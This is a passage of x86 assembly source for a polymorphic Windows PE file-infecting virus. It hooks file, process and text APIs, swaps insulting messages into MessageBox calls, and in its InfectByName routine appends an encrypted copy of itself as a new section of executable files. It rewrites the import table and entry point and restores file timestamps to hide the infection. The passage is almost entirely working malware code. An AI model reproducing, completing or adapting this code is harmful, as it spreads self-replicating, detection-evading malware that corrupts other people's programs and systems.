Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx ; function result
Pop EBx
Ret 3*4
IGetTabbedTextExtentA:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTabbedTextExtentA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 5*4
IMessageBoxA: Push EBx ; Shows the some message
Mov EBx,ESp
Push EAx
PushA
Push MemCommitSz/4h
Call AllocStackMem
Lea EAx,FT_Struc
Push EAx
Call GetSystemTime ; Get "Random" value
Cmp Word Ptr FT_Second,10h
Jae Message_None$
MovZx EAx,Word Ptr FT_Milliseconds
Shr EAx,1
Xor EDx,EDx
Mov ECx,FuckMsgCounter
Div ECx
Shl EDx,1
Shl EDx,1
Add EDx,Offset FuckMessages
Mov EDx,[EDx]
Push DWord Ptr [EBx][4*4+4]
Push DWord Ptr [EBx][3*4+4]
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call MessageBoxA
Mov [EBx][-4h],EAx
Push MemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 4*4
Message_None$: Push MemCommitSz/4h ; Legal call
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Jmp _MessageBoxA
IWinHelpA: PushA ; Calls the Windows
Cmp HelpCounter,10h ; help system
Jb WinHlp_0$
Push 40h ; OkOnly+Information
Push Offset InfSelfHeader
Push Offset InfGodHelp
Push 0h
Call MessageBoxA
PopA
Xor EAx,EAx
Ret 4*4
WinHlp_0$: Inc HelpCounter ; Legal call
PopA
Jmp _WinHelpA
; ---------------------------------------------------------
; GDI32 infected functions realization
ITextOutA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Mov ECx,[EBx][5*4+4]
Mov EDx,[EBx][4*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _TextOutA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 5*4
IExtTextOutA: Push EBx ; Draw text on screen
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][8*4+4]
Mov ECx,[EBx][7*4+4]
Mov EDx,[EBx][6*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Push DWord Ptr [EBx][3*4+4]
Push DWord Ptr [EBx][2*4+4]
Push DWord Ptr [EBx][1*4+4]
Call _ExtTextOutA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 8*4
IGetTextExtentPointA:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTextExtentPointA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 4*4
IGetTextExtentPoint32A:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTextExtentPoint32A
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 4*4
IGetTextExtentExPointA:
Push EBx ; Get text parameters
Mov EBx,ESp
Push EAx
PushA
Push TinyMemCommitSz/4h
Call AllocStackMem
Push DWord Ptr [EBx][7*4+4]
Push DWord Ptr [EBx][6*4+4]
Push DWord Ptr [EBx][5*4+4]
Push DWord Ptr [EBx][4*4+4]
Mov ECx,[EBx][3*4+4]
Mov EDx,[EBx][2*4+4]
Call ConvertStr
Push ECx
Push EDx
Push DWord Ptr [EBx][1*4+4]
Call _GetTextExtentExPointA
Mov [EBx][-4h],EAx
Push TinyMemCommitSz/4h
Call FreeStackMem
PopA
Pop EAx
Pop EBx
Ret 7*4
;Separator=_Nop
; ---------------------------------------------------------
ShellName Db 'SHELL32.dll',0 ; Name of import
KernelName Db 'KERNEL32.dll',0 ; providers
DialogName Db 'COMDLG32.dll',0
UserName Db 'USER32.dll',0
GDIName Db 'GDI32.dll',0
; ---------------------------------------------------------
_CreateFileA Dd ? ; Thunk pointers
_OpenFile Dd ? ; (Kernel)
_MoveFileA Dd ?
_MoveFileExA Dd ?
_CopyFileA Dd ?
__lopen Dd ?
_WinExec Dd ?
_CreateProcessA Dd ?
_LoadLibraryA Dd ?
_LoadLibraryExA Dd ?
_FindFirstFileA Dd ?
_FindNextFileA Dd ?
_ShellExecuteA Dd ? ; (Shell)
_ShellExecuteEx Dd ?
_ShellExecuteExA Dd ?
_FindExecutableA Dd ?
_GetOpenFileNameA Dd ? ; (CommDlg)
_GetSaveFileNameA Dd ?
_DrawTextA Dd ? ; (User)
_DrawTextExA Dd ?
_TabbedTextOutA Dd ?
_wsprintfA Dd ?
_wvsprintfA Dd ?
_GetTabbedTextExtentA Dd ?
_MessageBoxA Dd ?
_WinHelpA Dd ?
_TextOutA Dd ? ; (GDI)
_ExtTextOutA Dd ?
_GetTextExtentPointA Dd ?
_GetTextExtentPoint32A Dd ?
_GetTextExtentExPointA Dd ?
; ---------------------------------------------------------
NCreateFileA Db 'CreateFileA',0 ; Thunk pointer names
NOpenFile Db 'OpenFile',0
NMoveFileA Db 'MoveFileA',0
NMoveFileExA Db 'MoveFileExA',0
NCopyFileA Db 'CopyFileA',0
N_lopen Db '_lopen',0
NWinExec Db 'WinExec',0
NCreateProcessA Db 'CreateProcessA',0
NLoadLibraryA Db 'LoadLibraryA',0
NLoadLibraryExA Db 'LoadLibraryExA',0
NFindFirstFileA Db 'FindFirstFileA',0
NFindNextFileA Db 'FindNextFileA',0
NShellExecuteA Db 'ShellExecuteA',0
NShellExecuteEx Db 'ShellExecuteEx',0
NShellExecuteExA Db 'ShellExecuteExA',0
NFindExecutableA Db 'FindExecutable',0
NGetOpenFileNameA Db 'GetOpenFileNameA',0
NGetSaveFileNameA Db 'GetSaveFileNameA',0
NDrawTextA Db 'DrawTextA',0
NDrawTextExA Db 'DrawTextExA',0
NTabbedTextOutA Db 'TabbedTextOutA',0
NwsprintfA Db 'wsprintfA',0
NwvsprintfA Db 'wvsprintfA',0
NGetTabbedTextExtentA Db 'GetTabbedTextExtentA',0
NMessageBoxA Db 'MessageBoxA',0
NWinHelpA Db 'WinHelpA',0
NTextOutA Db 'TextOutA',0
NExtTextOutA Db 'ExtTextOutA',0
NGetTextExtentPointA Db 'GetTextExtentPointA',0
NGetTextExtentPoint32A Db 'GetTextExtentPoint32A',0
NGetTextExtentExPointA Db 'GetTextExtentExPointA',0
; ---------------------------------------------------------
;DefCodeLine
KrnlImp Label DWord
Dd Offset _CreateFileA
Dd Offset NCreateFileA
Dd Offset ICreateFileA
Dd Offset _OpenFile
Dd Offset NOpenFile
Dd Offset IOpenFile
Dd Offset _MoveFileA
Dd Offset NMoveFileA
Dd Offset IMoveFIleA
Dd Offset _MoveFileExA
Dd Offset NMoveFileExA
Dd Offset IMoveFileExA
Dd Offset _CopyFileA
Dd Offset NCopyFileA
Dd Offset ICopyFileA
Dd Offset __lopen
Dd Offset N_lopen
Dd Offset I_lopen
Dd Offset _WinExec
Dd Offset NWinExec
Dd Offset IWinExec
Dd Offset _CreateProcessA
Dd Offset NCreateProcessA
Dd Offset ICreateProcessA
Dd Offset _LoadLibraryA
Dd Offset NLoadLibraryA
Dd Offset ILoadLibraryA
Dd Offset _LoadLibraryExA
Dd Offset NLoadLibraryExA
Dd Offset ILoadLibraryExA
Dd Offset _FindFirstFileA
Dd Offset NFindFirstFileA
Dd Offset IFindFirstFileA
Dd Offset _FindNextFileA
Dd Offset NFindNextFileA
Dd Offset IFindNextFileA
KrnlImpCnt = ($ - Offset KrnlImp)/(3*4)
;BreakCodeLine
;DefCodeLine
ShellImp Label DWord
Dd Offset _ShellExecuteA
Dd Offset NShellExecuteA
Dd Offset IShellExecuteA
Dd Offset _ShellExecuteEx
Dd Offset NShellExecuteEx
Dd Offset IShellExecuteEx
Dd Offset _ShellExecuteExA
Dd Offset NShellExecuteExA
Dd Offset IShellExecuteExA
Dd Offset _FindExecutableA
Dd Offset NFindExecutableA
Dd Offset IFindExecutableA
ShellImpCnt = ($ - Offset ShellImp)/(3*4)
;BreakCodeLine
;DefCodeLine
DialogImp Label DWord
Dd Offset _GetOpenFileNameA
Dd Offset NGetOpenFileNameA
Dd Offset IGetOpenFileNameA
Dd Offset _GetSaveFileNameA
Dd Offset NGetSaveFileNameA
Dd Offset IGetSaveFileNameA
DialogImpCnt = ($ - Offset DialogImp)/(3*4)
;BreakCodeLine
;DefCodeLine
UserImp Label DWord
Dd Offset _DrawTextA
Dd Offset NDrawTextA
Dd Offset IDrawTextA
Dd Offset _DrawTextExA
Dd Offset NDrawTextExA
Dd Offset IDrawTextExA
Dd Offset _TabbedTextOutA
Dd Offset NTabbedTextOutA
Dd Offset ITabbedTextOutA
Dd Offset _wsprintfA
Dd Offset NwsprintfA
Dd Offset IwsprintfA
Dd Offset _wvsprintfA
Dd Offset NwvsprintfA
Dd Offset IwvsprintfA
Dd Offset _GetTabbedTextExtentA
Dd Offset NGetTabbedTextExtentA
Dd Offset IGetTabbedTextExtentA
Dd Offset _MessageBoxA
Dd Offset NMessageBoxA
Dd Offset IMessageBoxA
Dd Offset _WinHelpA
Dd Offset NWinHelpA
Dd Offset IWinHelpA
UserImpCnt = ($ - Offset UserImp)/(3*4)
;BreakCodeLine
;DefCodeLine
GDIImp Label DWord
Dd Offset _TextOutA
Dd Offset NTextoutA
Dd Offset ITextOutA
Dd Offset _ExtTextOutA
Dd Offset NExtTextOutA
Dd Offset IExtTextOutA
Dd Offset _GetTextExtentPointA
Dd Offset NGetTextExtentPointA
Dd Offset IGetTextExtentPointA
Dd Offset _GetTextExtentPoint32A
Dd Offset NGetTextExtentPoint32A
Dd Offset IGetTextExtentPoint32A
Dd Offset _GetTextExtentExPointA
Dd Offset NGetTextExtentExPointA
Dd Offset IGetTextExtentExPointA
GDIImpCnt = ($ - Offset GDIImp)/(3*4)
;BreakCodeLine
;Separator=_Jmp
; ---------------------------------------------------------
; Infector routines
InfectByName: Push MemCommitSz/4h
Call AllocStackMem ; Infect file by name in EDx
Cmp Debug,0h ; (Who in EBx)
Je Infect_0$
Or EDx,EDx
Jne Infect_D$
Push 30h ; OkOnly+Exclamation
Push EBx
Push Offset InfNoNameMsg
Push 0h
Call MessageBoxA ; [!!!For DEBUG!!!]
Push MemCommitSz/4h
Call FreeStackMem
Ret
Infect_D$: Push EBx
Push EDx
Push 21h ; OkCancel+Question
Push EBx
Push EDx
Push 0h
Call MessageBoxA ; [!!!For DEBUG!!!]
Pop EDx
Cmp EAx,1h
Pop EBx
Jz Infect_0$
Push 30h ; OkOnly+Exclamation
Push EBx ; Infecting disabled
Push Offset InfCancelMsg ; by Creator
Push 0h
Call MessageBoxA
Push MemCommitSz/4h
Call FreeStackMem
Ret
Infect_0$: Mov FileNamePtr,EDx ; !!!Ready and Waiting!!!
Push EDx
Call GetFileAttributesA ; Get file attributes
Or EAx,EAx
Jz Infect_F0$
Mov FileAttributes,EAx
Push 80h ; File_Attribute_Normal
Push DWord Ptr FileNamePtr
Call SetFileAttributesA
Push 0h
Push 10000000h+80h ; FAN, FFRA
Push 3h ; OE
Push 0h
Push 1h ; FSR
Push 80000000h+40000000h ; GR/GW
Push DWord Ptr FileNamePtr
Call CreateFileA ; Try to open
Cmp EAx,-1
Je Infect_F1$
Mov FileHandle,EAx
Lea EAx,FileLastWrite ; Storing file Date/Time
Push EAx ; for future restoring
Lea EAx,FileLastAccess
Push EAx
Lea EAx,FileCreation
Push EAx
Push DWord Ptr FileHandle
Call GetFileTime
Lea EAx,FT_Struc ; Checking infection flag
Push EAx
Lea EAx,FileLastWrite
Push EAx
Call FileTimeToSystemTime
Mov Ax,FT_Year
Rol Ax,1
Xor Ax,FT_Month
Ror Ax,1
Xor Ax,FT_Day
Rol Ax,1
Xor Ax,FT_Hour
Ror Ax,1
Xor Ax,FT_Minute
Rol Ax,1
And Ax,3Ch
Cmp Ax,FT_Second ; Already! Good.
Je Infect_F2$
Mov NewSeconds,Ax
Push 0h
Lea EAx,ProcessedBytes ; Read the DOS file
Push EAx ; header
Push 40h
Lea EAx,DosHeader
Push EAx
Push DWord Ptr FileHandle
Call ReadFile
Or EAx,EAx ; Error reading
Jz Infect_F2$
Cmp DWord Ptr ProcessedBytes,40h
Jne Infect_F2$ ; Readed less then 40h bytes
Cmp Word Ptr DosHeader,'MZ'
Je Infect_F3$
Cmp Word Ptr DosHeader,'ZM'
Jne Infect_F2$
Infect_F3$: Cmp Word Ptr DosHeader[18h],40h
Jb Infect_F2$
Push 0h ; FileBegin
Push 0h
Push DWord Ptr DosHeader[3Ch]
Push DWord Ptr FileHandle ; Seek to PE Header start
Call SetFilePointer
Cmp EAx,-1
Je Infect_F2$
Push 0h ; Read the PEHeader
Lea EAx,ProcessedBytes
Push EAx
Push PEHeaderSize
Lea EAx,PEHeader
Push EAx
Push DWord Ptr FileHandle
Call ReadFile
Or EAx,EAx
Jz Infect_F2$ ; Error reading
Cmp DWord Ptr ProcessedBytes,PEHeaderSize
Jne Infect_F2$ ; Readed too less bytes
Cmp DWord Ptr PE_Sign,'EP'
Jne Infect_F2$
MovZx EAx,Word Ptr PE_NTHdrSize
Add EAx,DWord Ptr DosHeader[3Ch]
Add EAx,18h
Mov PEFileHeaders,EAx
Push 0h ; Seek to sections descr.
Push 0h
Push EAx
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1 ; Error seeking
Je Infect_F2$
MovZx ECx,Word Ptr PE_NumOfSections
Or ECx,ECx ; No sections
Jz Infect_F2$
Mov EAx,SectSize
Mul ECx
Add EAx,PEFileHeaders
Add EAx,SectSize
Cmp EAx,PE_HeaderSize ; No room for new section!?
Ja Infect_F2$
Mov DWord Ptr ImportLegal,0h
Xor EDx,EDx
MovZx ECx,Word Ptr PE_NumOfSections
Infect_AS$: Inc EDx
Push ECx
Push EDx
Push 0h ; Read the section header
Lea EAx,ProcessedBytes
Push EAx
Push SectSize
Lea EAx,Section
Push EAx
Push DWord Ptr FileHandle
Call ReadFile
Pop EDx
Pop ECx
Or EAx,EAx ; Error reading
Jz Infect_F2$
Cmp DWord Ptr ProcessedBytes,SectSize
Jne Infect_F2$ ; Readed too less bytes
Cmp DWord Ptr ImportLegal,0h
Jne Infect_NS$ ; Import already detected!
Mov EAx,SectRVA
Cmp EAx,PE_ImportTableRVA
Ja Infect_NS$
Mov ImportRVA,EAx
Add EAx,SectVirtSize
Cmp EAx,PE_ImportTableRVA
Jbe Infect_NS$
Mov EAx,SectPhysOffs
Mov ImportPhysOffs,EAx
Mov EAx,SectFlags
Mov ImportFlags,EAx
Mov ImportOrder,EDx
Mov DWord Ptr ImportLegal,-1
Infect_NS$: Dec ECx
Jnz Infect_AS$
Cmp DWord Ptr ImportLegal,0h
Jz Infect_F2$ ; Import not found ?!
Mov EAx,DWord Ptr SelfSectionName
Mov SelfSectName,EAx ; SetUp self section name
Mov EAx,DWord Ptr SelfSectionName+4
Mov SelfSectName+4,EAx
Mov EAx,SectRVA
Add EAx,SectVirtSize
Mov EBx,PE_ObjectAlign
Call AlignDWordOnDWord
Mov SelfSectRVA,EAx ; SetUp self sect. RVA & Flags
Mov DWord Ptr SelfSectFlags,0E0000040h ; R/W/E, IData
Push 2h ; Seek to EOF
Push 0h
Push 0h
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1
Je Infect_F2$
Push EAx ; SetUp self section
Mov EBx,PE_FileAlign ; Physical Offset
Call AlignDWordOnDWord
Mov SelfSectPhysOffs,EAx
Pop EBx
Sub EAx,EBx
Jz Infect_NoPreA$
Push EAx ; Need file alignment
Mov ECx,EAx
Lea EDi,VeryLargeBuffer
Cld
Xor Al,Al
Rep StosB
Pop ECx
Push ECx
Push 0h
Lea EAx,ProcessedBytes ; Write some null's into
Push EAx ; fucking file
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Pop ECx
Jz Infect_F2$
Cmp ECx,ProcessedBytes
Jne Infect_F2$
Infect_NoPreA$: Xor EBx,EBx
Lea EDi,VeryLargeBuffer ; Transfer self to memory
Mov ESi,Offset Start
Infect_Trans$: Mov Al,[ESi][EBx]
Mov [EDi][EBx],Al
Inc EBx
Cmp EBx,StubImportPlace
Jb Infect_Trans$
Mov EAx,9h ; Generate the set of
Call Random ; polymorphic cryptors
Add EAx,8h ; in range (8..16)
Mov CryptCnt,EAx
Lea EAx,VeryLargeBuffer
Add EAx,StubImportPlace
Mov EDi,EAx
Mov EAx,FixUpsCounter ; Depend on PELINK
Shl EAx,2h ; tool linking strategy!
Add EAx,FixUpsPlace
Mov GenCrSz,EAx
Xor EAx,EAx
Mov GenSz,EAx
Mov GenTotalSz,EAx
Infect_Gen$: Add EDi,1000h ; Maximal encryptor size!
Infect_Gen_A$: Lea ESi,[EDi-1000h]
Mov ECx,GenCrSz
Push EDi
Push EAx ; Make the cryptor pairs
Call GenPolyMorph
Pop EAx
Pop EDi
Cmp EBx,1000h
Ja Infect_Gen_A$
Mov Cryptors[EAx*8],EBx ; Encryptor size
Mov Cryptors[EAx*8+4],EDx ; Decryptor size
Add GenSz,EDx
Add GenCrSz,EDx
Add GenTotalSz,EDx
Add GenTotalSz,EBx
Xchg ESi,EDi
Mov ECx,EDx
Cld ; Pack cryptors
Rep MovsB
Inc EAx
Cmp EAx,CryptCnt
Jb Infect_Gen$
Lea EDi,VeryLargeBuffer
Mov EBx,Here
Mov ESi,FixUpsPlace
Mov ECx,FixUpsCounter ; UnDo FixUps
Infect_UnDo1$: Mov EAx,[ESi][EBx]
Sub [EDi][EAx],EBx
Add ESi,4h
Dec ECx
Jnz Infect_UnDo1$
Mov EAx,GenSz ; SetUp PolyMorph sizes
Mov EDx,Offset PolyMorphSz
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,PE_EntryPointRVA ; SetUp EntryPoint
Mov EDx,Offset StubEntryLabel
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,SelfSectRVA ; SetUp SelfPlace
Mov EDx,Offset CurrentPlace
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,PE_ImageBase ; SetUp ImagePlace
Mov EDx,Offset ImagePlace
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov EAx,1h ; SetUp Initialization Flag
Mov EDx,Offset InitOk
Sub EDx,EBx
Mov [EDi][EDx],EAx
Mov ESi,ImportPlace ; ReSetUp Import directory
Mov ECx,ImportLength
Infect_UnDo2$: Mov EDx,[ESi][EBx] ; Get LookUp pointer
Sub EDx,CurrentPlace
Sub EDx,PolyMorphSz
Push EDx
Infect_Un_2$: Mov EAx,[EDx][EBx] ; ReSetUp LookUp table
Or EAx,EAx
Jz Infect_Un_1$
Sub EAx,CurrentPlace
Sub EAx,PolyMorphSz
Add EAx,SelfSectRVA
Add EAx,GenSz
Mov [EDi][EDx],EAx
Add EDx,4h
Jmp Infect_Un_2$
Infect_Un_1$: Pop EDx
Add EDx,SelfSectRVA ; ReSetUp LookUp ptr
Add EDx,GenSz
Mov [EDi][ESi],EDx
Mov EDx,[ESi][EBx]+3*4 ; ReSetUp Name ptr
Sub EDx,CurrentPlace
Sub EDx,PolyMorphSz
Add EDx,SelfSectRVA
Add EDx,GenSz
Mov [EDi][ESi]+3*4,EDx
Mov EDx,[ESi][EBx]+4*4 ; ReSetUp ImprtAddress ptr
Sub EDx,CurrentPlace
Sub EDx,PolyMorphSz
Add EDx,SelfSectRVA
Add EDx,GenSz
Mov [EDi][ESi]+4*4,EDx
Add ESi,5*4
Sub ECx,5*4
Ja Infect_UnDo2$
Lea ESi,VeryLargeBuffer ; Crypt the self body
Mov ECx,StubImportPlace ; before writing it
Add ECx,GenTotalSz ; into desired file
Add ESi,ECx
Mov EDi,ESi
Add EDi,GenSz
Dec EDi
Dec ESi
Std ; Place buffer at
Rep MovsB ; program start
Mov ESi,StubImportPlace
Add ESi,EDi
Xor EAx,EAx
Infect_Crypt$: Push EAx
Mov ECx,Cryptors[EAx*8+4]
Lea EBx,[ESi+1]
Add ESi,ECx
Add ESi,Cryptors[EAx*8]
Push ESi
Push EDi
Std
Rep MovsB
Xchg EDi,[ESp]
Inc EDi
Push EBp
Push EDi
Call EBx ; Crypt by one cryptor
Pop EBp
Pop EDi
Pop ESi
Pop EAx
Inc EAx
Cmp EAx,CryptCnt
Jb Infect_Crypt$
Cld
Mov ECx,StubImportPlace
Add ECx,GenSz
Push ECx
Push 0h ; WRITE self body
Lea EAx,ProcessedBytes ; File pointer
Push EAx ; must be at file EOF
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx ; Error writing
Pop EAx
Jz Infect_F2$
Cmp EAx,ProcessedBytes
Jne Infect_F2$ ; Too less bytes written
Mov EAx,PE_ImportTableRVA ; Calculate import place
Sub EAx,ImportRVA ; in file
Add EAx,ImportPhysOffs
Push 0h
Push 0h
Push EAx
Push DWord Ptr FileHandle ; And seek in file at
Call SetFilePointer ; this position
Cmp EAx,-1
Je Infect_F2$ ; Error seeking
Lea EBx,VeryLargeBuffer
Infect_Trans1$: Push EBx
Push 0h
Lea EAx,ProcessedBytes ; Read the next import record
Push EAx
Push 5*4
Push EBx
Push DWord Ptr FileHandle
Call ReadFile
Pop EBx
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,5*4
Jne Infect_F2$
Add EBx,5*4 ; Last import record???
Cmp DWord Ptr [EBx][3*4][-5*4],0h
Jne Infect_Trans1$
Lea EAx,VeryLargeBuffer
Sub EBx,EAx
Push EBx
Push 2h ; Seek to EOF
Push 0h
Push 0h
Push DWord Ptr FileHandle
Call SetFilePointer
Pop EBx
Cmp EAx,-1 ; Errors. . .
Je Infect_F2$
Push EBx
Push 0h ; Write all import records
Lea EAx,ProcessedBytes ; to target file
Push EAx
Push EBx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Pop EBx
Or EAx,EAx ; Errors. . .
Jz Infect_F2$
Cmp ProcessedBytes,EBx
Jne Infect_F2$
Add EBx,ImportLength ; Calculate the new import
Mov PE_ImportDataSz,EBx ; size and RVA
Mov EAx,SelfSectRVA
Add EAx,GenSz
Add EAx,ImportPlace
Mov PE_ImportTableRVA,EAx
Lea EDi,VeryLargeBuffer ; Generate some random trash
Mov EAx,100h
Call Random
Lea ECx,[EAx+10h]
Push ECx
Cld
Infect_Trash$: Mov EAx,100h
Call Random
StosB
Dec ECx
Jnz Infect_Trash$
Mov ECx,[ESp]
Push 0h ; and write it into
Lea EAx,ProcessedBytes ; fucking file, at them
Push EAx ; end
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx ; Error writing!
Pop EAx
Jz Infect_F2$
Cmp EAx,ProcessedBytes ; Too less bytes written
Jne Infect_F2$
Push 2h ; Seek to EOF
Push 0h
Push 0h
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1 ; Seeking failure
Je Infect_F2$
Sub EAx,SelfSectPhysOffs ; SetUp self section sizes
Mov SelfSectVirtSize,EAx
Mov EBx,PE_FileAlign
Call AlignDWordOnDWord
Mov SelfSectPhysSize,EAx
Sub EAx,SelfSectVirtSize
Jz Infect_ToDone$ ; Need file align?
Mov ECx,EAx
Push ECx
Mov Al,0h ; Prepare aligning buffer
Cld
Lea EDi,VeryLargeBuffer
Rep StosB
Pop ECx
Push ECx ; And align the file
Push 0h
Lea EAx,ProcessedBytes
Push EAx
Push ECx
Lea EAx,VeryLargeBuffer
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Pop ECx
Or EAx,EAx ; Error writing!
Jz Infect_F2$
Cmp DWord Ptr ProcessedBytes,ECx
Jne Infect_F2$ ; Too less bytes written
Infect_ToDone$: Mov EAx,SelfSectVirtSize ; SetUp memory requirement
Mov EBx,PE_ObjectAlign
Call AlignDWordOnDWord
Add PE_ImageSize,EAx
Add PE_SizeOfIData,EAx
Mov EAx,SelfSectRVA ; SetUp Self EntryPoint
Mov PE_EntryPointRVA,EAx
Mov EAx,PE_StackReserveSz ; SetUp stack size
Add EAx,MemCommitSz ; (for placing temporary
Mov PE_StackReserveSz,EAx ; buffer)
MovZx EAx,Word Ptr PE_NumOfSections
Mov ECx,SectSize
Mul ECx
Add EAx,PEFileHeaders
Push 0h ; Prepare to write
Push 0h ; SelfSection descriptor
Push EAx
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1 ; Errors. . .
Je Infect_F2$
Push 0h ; And write it!
Lea EAx,ProcessedBytes
Push EAx
Push SelfSectSize
Lea EAx,SelfSection
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,SelfSectSize
Jne Infect_F2$
Mov ECx,DWord Ptr ImportOrder
Mov EAx,SectSize ; Prepare to write import
Mul ECx ; section flags
Add EAx,PEFileHeaders ; Warning!!!
Sub EAx,4h ; Import section Flags
Push 0h ; is the LAST field in
Push 0h ; section header structure
Push EAx ; !!!!!!!!!!!!!!!!!!!!!!!!
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1h ; Seeking failure
Je Infect_F2$
Or DWord Ptr ImportFlags,0C0000000h
Push 0h ; Enable reading
Lea EAx,ProcessedBytes ; and writing
Push EAx ; in Import section
Push 4h
Lea EAx,ImportFlags
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,4h
Jne Infect_F2$
Inc Word Ptr PE_NumOfSections ; New # of sections
Push 0h ; Prepare to writing
Push 0h ; PE header
Push DWord Ptr DosHeader[3Ch]
Push DWord Ptr FileHandle
Call SetFilePointer
Cmp EAx,-1
Je Infect_F2$
Push 0h
Lea EAx,ProcessedBytes
Push EAx
Push PEHeaderSize ; And write it
Lea EAx,PEHeader
Push EAx
Push DWord Ptr FileHandle
Call WriteFile
Or EAx,EAx
Jz Infect_F2$ ; Errors. . .
Cmp DWord Ptr ProcessedBytes,PEHeaderSize
Jne Infect_F2$
Mov Ax,NewSeconds ; Ok! Set infection flag.
Mov FT_Second,Ax
Lea EAx,FileLastWrite
Push EAx
Lea EAx,FT_Struc
Push EAx
Call SystemTimeToFileTime
Infect_F2$: Lea EAx,FileLastWrite ; Restore file Date/Time
Push EAx
Lea EAx,FileLastAccess
Push EAx
Lea EAx,FileCreation
Push EAx
Push DWord Ptr FileHandle
Call SetFileTime
Push DWord Ptr FileHandle ; Close our file. Ooh, Yes!
Call CloseHandle
Infect_F1$: Push DWord Ptr FileAttributes; Restore file attributes
Push DWord Ptr FileNamePtr
Call SetFileAttributesA
Infect_F0$: Push MemCommitSz/4h
Call FreeStackMem
Ret
; ---------------------------------------------------------
; Service routines
;
AllocStackMem: Pop EAx ; Allocate memory in Stack
Pop ECx ; Corrupt EAx,ECx !!!
Push EBp ; Do not use call stack
AllocStack_1$: Push 0h ; before this call
Dec ECx
Jnz AllocStack_1$
Mov EBp,ESp
Push EAx
Ret
FreeStackMem: Pop EAx ; Free memory in Stack
Pop ECx ; Corrupt EAx,ECx !!!
FreeStack_1$: Pop DropDWord ; Do not use stack
Dec ECx ; memory after this call
Jnz FreeStack_1$
Pop EBp
Push EAx
Ret
DropDWord Dd ?
AlignDWordOnDWord:
Push EDx
Xor EDx,EDx ; Align EAx by EBx boundary
Push EAx
Div EBx
Pop EAx
Or EDx,EDx
Jz AlignDWord_0$
Sub EAx,EDx
Add EAx,EBx
AlignDWord_0$: Pop EDx
Ret
; ---------------------------------------------------------
; My string converter ;-)
ConvertStr: Cld ; Convert some string
Call InitConverter ; in EDx with
Mov ESi,EDx ; possibly length in ECx
Lea EDi,SmallBuffer ; (Corrupt EDi,ESi,EAx)
Push ESi
Push EDi
Push ECx
Push EBx
Cmp ECx,-1h
Je Convert_Mode1$
Or ECx,ECx
Jz Convert_Done$
Convert_Mode0$: Call ProcessChar ; Counter mode
Dec ECx
Jnz Convert_Mode0$
Pop EBx
Pop ECx
Pop EDx
Pop ECx
Mov Byte Ptr Es:[EDi],0h
Sub EDi,EDx
Mov ECx,EDi
Ret
Convert_Mode1$: Call ProcessChar ; ASCIZ mode
Cmp Byte Ptr [ESi][-1],0h
Jne Convert_Mode1$
Pop EBx
Pop ECx
Pop EDx
Pop EAx
Ret
Convert_Done$: Pop EBx
Pop ECx
Pop EDi
Pop ESi
